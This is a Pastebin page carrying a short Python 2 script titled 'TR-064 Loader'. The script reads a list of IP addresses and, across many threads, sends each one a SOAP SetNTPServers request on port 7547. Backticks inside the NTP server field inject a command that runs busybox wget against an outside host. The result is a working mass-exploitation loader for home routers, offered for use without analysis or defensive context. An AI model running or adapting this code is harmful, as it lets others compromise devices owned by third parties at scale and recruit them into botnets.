LNO_LiGhT

(UPnP) TR-064 Loader | By LiGhT

Jan 8th, 2018
2,124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.57 KB | None | 0 0
  1. #! python !#
  2.  
  3. # TR-064 Loader By LiGhT
  4.  
  5. import sys, os, re
  6. from threading import Thread
  7. from time import sleep
  8. import requests
  9. from requests.auth import HTTPDigestAuth
  10. from decimal import *
  11.  
  12. ips = open(sys.argv[1], "r").readlines()
  13. motherthreads = int(sys.argv[2]) #2-1000
  14. motherthread_count = len(ips) / motherthreads
  15. motherthread_chunks = [ips[x:x+motherthread_count] for x in xrange(0, len(ips), motherthread_count)]
  16. payload = "<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;>   <NewNTPServer1>`cd /tmp && /bin/busybox wget http://iplogger.co/2qWq45`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNT PServer4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>"
  17. headerlist = {'SOAPAction': 'urn:dslforum-org:service:Time:1#SetNTPServers'}
  18.  
  19. def dump(count):
  20.     count = int(count)
  21.     for i in motherthread_chunks[count]:
  22.         try:
  23.             url = "http://"+i+":7547/UD/act?1"
  24.             url = re.sub('\n', '', url)
  25.             r = requests.post(url, timeout=5, headers=headerlist, data=payload)
  26.             print "[TR-064] Payload Sent %s"%(url)
  27.             motherthread_chunks[count] = motherthread_chunks[count].remove(i)
  28.         except:
  29.             pass
  30.  
  31. for x in xrange(motherthreads):
  32.     try:
  33.         thread = Thread(target=dump, args=(x,))
  34.         thread.start()
  35.     except KeyboardInterrupt:
  36.         sys.exit("STOPPING!")
  37.     except:
  38.         pass
Advertisement
Add Comment
Please, Sign In to add comment